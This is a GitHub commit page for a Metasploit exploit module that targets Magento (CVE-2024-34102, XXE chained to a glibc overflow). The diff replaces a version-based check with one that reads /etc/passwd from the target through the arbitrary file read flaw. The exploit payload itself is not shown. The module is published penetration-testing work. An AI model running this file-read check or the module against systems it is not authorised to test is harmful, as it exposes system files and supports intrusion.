Skip to content

Commit

Permalink
Updated check method
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Oct 15, 2024
1 parent 44b33b8 commit 3f6f060
Show file tree
Hide file tree
Showing 2 changed files with 11 additions and 56 deletions.
36 changes: 0 additions & 36 deletions lib/msf/core/exploit/remote/http/magento.rb

This file was deleted.

31 changes: 11 additions & 20 deletions modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,6 @@ class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Magento
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck
require 'elftools'
Expand Down Expand Up @@ -96,23 +95,14 @@ def initialize(info = {})
)
end

def check_magento_version
version_info = magento_version
return CheckCode::Unknown('Could not detect the version.') unless version_info

return CheckCode::Safe("Detected Magento #{version_info['edition']} edition version #{version_info['version']} which is not vulnerable") unless
version_info['version'] <= (Rex::Version.new('2.4.7')) ||
version_info['version'] <= (Rex::Version.new('2.4.6-p5')) ||
version_info['version'] <= (Rex::Version.new('2.4.5-p7')) ||
version_info['version'] <= (Rex::Version.new('2.4.4-p8')) ||
(
version_info['edition'] == 'Enterprise' && (
version_info['version'] <= (Rex::Version.new('2.4.3-ext-7')) ||
version_info['version'] <= (Rex::Version.new('2.4.2-ext-7'))
)
)

CheckCode::Appears("Exploit precondition 1/3 met: Detected Magento #{version_info['edition']} edition version #{version_info['version']} which is vulnerable.")
def check_magento
etc_password = download_file('/etc/passwd')
vprint_status("Attempting to download /etc/passwd")
if etc_password.nil?
CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).')
else
CheckCode::Vulnerable('Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.')
end
end

def check_php_rce_requirements
Expand Down Expand Up @@ -184,8 +174,9 @@ def check_libc_version

def check
setup_module
magento_checkcode = check_magento_version
return magento_checkcode unless magento_checkcode.code == 'appears'
print_status("module setup")
magento_checkcode = check_magento
return magento_checkcode unless magento_checkcode.code == 'vulnerable'

print_good(magento_checkcode.reason)

Expand Down

0 comments on commit 3f6f060

Please sign in to comment.